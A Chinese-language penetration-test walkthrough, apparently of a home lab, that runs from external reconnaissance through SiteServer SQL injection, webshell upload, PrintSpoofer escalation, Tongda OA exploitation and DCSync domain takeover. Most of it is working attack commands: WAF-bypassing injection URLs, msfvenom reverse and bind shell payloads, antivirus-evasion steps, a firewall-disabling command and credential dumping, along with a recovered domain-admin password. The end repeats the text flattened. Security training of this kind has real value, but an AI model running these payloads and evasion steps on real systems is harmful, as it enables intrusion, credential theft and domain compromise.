记一次外网打点到内网渗透
字数 1824 2025-08-03 16:47:48

外网打点到内网渗透实战教学文档

环境配置

  • 本机:
    • IP: 192.168.2.161
  • Web服务器:
    • 外网IP: 192.168.2.114 (桥接)
    • 内网IP: 10.10.1.131 (VMnet18)
    • 防护: IIS安全狗、服务器安全狗、Windows Defender
  • OA系统:
    • 内网IP1: 10.10.1.130 (VMnet18)
    • 内网IP2: 10.10.10.166 (VMnet19)
    • 防护: 360全家桶
  • 域控制器(DC):
    • 内网IP: 10.10.10.165 (VMnet19)

网络隔离情况:

  • 本机无法ping通Web服务器(防火墙阻断),但可访问其服务
  • OA系统能ping通DC,但无法ping通Web服务器

外网打点阶段

1. 主机发现与端口扫描

使用工具:

  • netdiscover进行ARP探测
  • masscan快速扫描端口:
    masscan -p 1-65535 192.168.2.114 --rate=100
    
  • nmap对开放端口进行详细扫描

2. 绕过CC防护的目录扫描

安全狗拦截了御剑等常规扫描工具,需编写自定义扫描脚本:

# dir_safedog.py
import requests
import time
import sys

with open('word.txt','r',encoding='utf-8') as readfile:
    for dirs in readfile.readlines():
       url = 'http://www.moonlab.com' + dirs.strip('\n')
       resp = requests.get(url)
       strlen = len(resp.text)
       print(url + '---' + str(resp.status_code) + '---len---' + str(strlen))
       time.sleep(0.5)

       if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500:
           with open('write.txt','a',encoding='utf-8') as writefile:
              writefile.write(url + '---' + str(resp.status_code) + '---len---' + str(strlen) + '\n')

关键点:

  • 添加延时(time.sleep)避免触发防护
  • 记录响应长度辅助判断有效页面

3. SiteServer注入漏洞利用

发现SiteServer CMS存在SQL注入漏洞,使用修改后的POC(来自w9scan项目):

原始注入点被拦截:

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=2; --

绕过技巧:

  • 使用按位取反(~)绕过安全狗检测:
    http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=~2; --
    

成功爆出数据:

  • 用户名: admin
  • 密码: 64Cic1ERUP9n2OzxuKl9Tw==
  • 加密类型: Encrypted
  • 盐值: LIywB/zHFDTuEA1LU53Opg==

4. 密码找回漏洞利用

通过抓包修改密保问题为空值,成功重置管理员密码。

5. 后台getshell

尝试多种webshell:

  • 常规asp大马被拦截
  • 过墙马无回显
  • 最终使用冰蝎aspx大马成功getshell

内网渗透阶段

1. Web服务器提权

信息收集:

  • 双网卡(192.168.2.114和10.10.1.131)
  • User权限
  • 防护: 安全狗、IIS安全狗、Windows Defender

使用PrintSpoofer提权:

PrintSpoofer64.exe -i -c "whoami"

2. 绕过Windows Defender

生成meterpreter payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.161 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt

使用掩日工具对shellcode进行加密,最终使用Cobalt Strike免杀马成功上线。

3. 密码破解

获取系统hash后使用hashcat破解:

hashcat -a 0 -m 1000 hash.txt rockyou.txt

4. 跨网段横向渗透

网络探测

发现双网卡:

  • 10.10.1.131 (已控)
  • 10.10.1.130 (OA系统)

使用ARP扫描:

run arp_scanner -r 10.10.1.0/24

代理设置

使用socks4a模块建立代理通道,配置proxychains:

proxychains nmap -sT -Pn 10.10.1.130 -p 80

通达OA漏洞利用

使用tongda_shell.py脚本:

proxychains python3 tongda_shell.py http://10.10.1.130/

上传php大马进行信息收集:

  • 系统权限
  • 双网卡(10.10.1.130和10.10.10.166)
  • 360全家桶防护

关闭防火墙:

netsh advfirewall set allprofiles state off

正向连接

生成正向木马:

msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe > abc.exe

5. 域渗透

域信息收集

常用命令:

net time /domain
nltest /domain_trusts
net user /domain
net group /domain
net localgroup administrators /domain
net group "domain controllers" /domain

MSF模块:

run post/windows/gather/enum_domain
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_ad_groups
run post/windows/gather/enum_domain_tokens

域控攻击

使用kiwi模块获取域管hash:

load kiwi
dcsync_ntlm administrator
dcsync_ntlm krbtgt

尝试psexec传递hash失败,改用RDP登录:

  1. 解密获取域管密码: !@#QWEasd123.
  2. 配置sockscap64代理
  3. 使用mstsc连接域控(10.10.10.165)

关键技术与技巧总结

  1. 绕过安全狗:

    • 使用按位取反(~)绕过SQL注入检测
    • 自定义扫描脚本添加延时避免CC防护
  2. 内网代理:

    • socks4a模块建立代理通道
    • proxychains配合各种工具进行内网扫描
  3. 权限提升:

    • PrintSpoofer本地提权
    • 进程迁移到x64系统进程
    • steal_token获取域管权限
  4. 横向移动:

    • 关闭目标防火墙后扫描
    • 正向连接避免出网限制
    • 多协议探测内网存活主机
  5. 域渗透:

    • kiwi模块获取域管hash
    • dcsync_ntlm获取krbtgt hash
    • 代理+RDP方式登录域控

工具列表

  • 扫描工具: masscan, nmap, netdiscover
  • 漏洞利用: tongda_shell.py, siteserver poc
  • 代理工具: socks4a, proxychains, sockscap64
  • 后渗透: mimikatz, kiwi, hashcat, PrintSpoofer
  • Webshell: 冰蝎aspx马
外网打点到内网渗透实战教学文档 环境配置 本机 : IP: 192.168.2.161 Web服务器 : 外网IP: 192.168.2.114 (桥接) 内网IP: 10.10.1.131 (VMnet18) 防护: IIS安全狗、服务器安全狗、Windows Defender OA系统 : 内网IP1: 10.10.1.130 (VMnet18) 内网IP2: 10.10.10.166 (VMnet19) 防护: 360全家桶 域控制器(DC) : 内网IP: 10.10.10.165 (VMnet19) 网络隔离情况: 本机无法ping通Web服务器(防火墙阻断),但可访问其服务 OA系统能ping通DC,但无法ping通Web服务器 外网打点阶段 1. 主机发现与端口扫描 使用工具: netdiscover 进行ARP探测 masscan 快速扫描端口: nmap 对开放端口进行详细扫描 2. 绕过CC防护的目录扫描 安全狗拦截了御剑等常规扫描工具,需编写自定义扫描脚本: 关键点: 添加延时(time.sleep)避免触发防护 记录响应长度辅助判断有效页面 3. SiteServer注入漏洞利用 发现SiteServer CMS存在SQL注入漏洞,使用修改后的POC(来自w9scan项目): 原始注入点被拦截: 绕过技巧: 使用按位取反(~)绕过安全狗检测: 成功爆出数据: 用户名: admin 密码: 64Cic1ERUP9n2OzxuKl9Tw== 加密类型: Encrypted 盐值: LIywB/zHFDTuEA1LU53Opg== 4. 密码找回漏洞利用 通过抓包修改密保问题为空值,成功重置管理员密码。 5. 后台getshell 尝试多种webshell: 常规asp大马被拦截 过墙马无回显 最终使用冰蝎aspx大马成功getshell 内网渗透阶段 1. Web服务器提权 信息收集: 双网卡(192.168.2.114和10.10.1.131) User权限 防护: 安全狗、IIS安全狗、Windows Defender 使用PrintSpoofer提权: 2. 绕过Windows Defender 生成meterpreter payload: 使用掩日工具对shellcode进行加密,最终使用Cobalt Strike免杀马成功上线。 3. 密码破解 获取系统hash后使用hashcat破解: 4. 跨网段横向渗透 网络探测 发现双网卡: 10.10.1.131 (已控) 10.10.1.130 (OA系统) 使用ARP扫描: 代理设置 使用socks4a模块建立代理通道,配置proxychains: 通达OA漏洞利用 使用tongda_ shell.py脚本: 上传php大马进行信息收集: 系统权限 双网卡(10.10.1.130和10.10.10.166) 360全家桶防护 关闭防火墙: 正向连接 生成正向木马: 5. 域渗透 域信息收集 常用命令: MSF模块: 域控攻击 使用kiwi模块获取域管hash: 尝试psexec传递hash失败,改用RDP登录: 解密获取域管密码: !@#QWEasd123. 配置sockscap64代理 使用mstsc连接域控(10.10.10.165) 关键技术与技巧总结 绕过安全狗 : 使用按位取反(~)绕过SQL注入检测 自定义扫描脚本添加延时避免CC防护 内网代理 : socks4a模块建立代理通道 proxychains配合各种工具进行内网扫描 权限提升 : PrintSpoofer本地提权 进程迁移到x64系统进程 steal_ token获取域管权限 横向移动 : 关闭目标防火墙后扫描 正向连接避免出网限制 多协议探测内网存活主机 域渗透 : kiwi模块获取域管hash dcsync_ ntlm获取krbtgt hash 代理+RDP方式登录域控 工具列表 扫描工具: masscan, nmap, netdiscover 漏洞利用: tongda_ shell.py, siteserver poc 代理工具: socks4a, proxychains, sockscap64 后渗透: mimikatz, kiwi, hashcat, PrintSpoofer Webshell: 冰蝎aspx马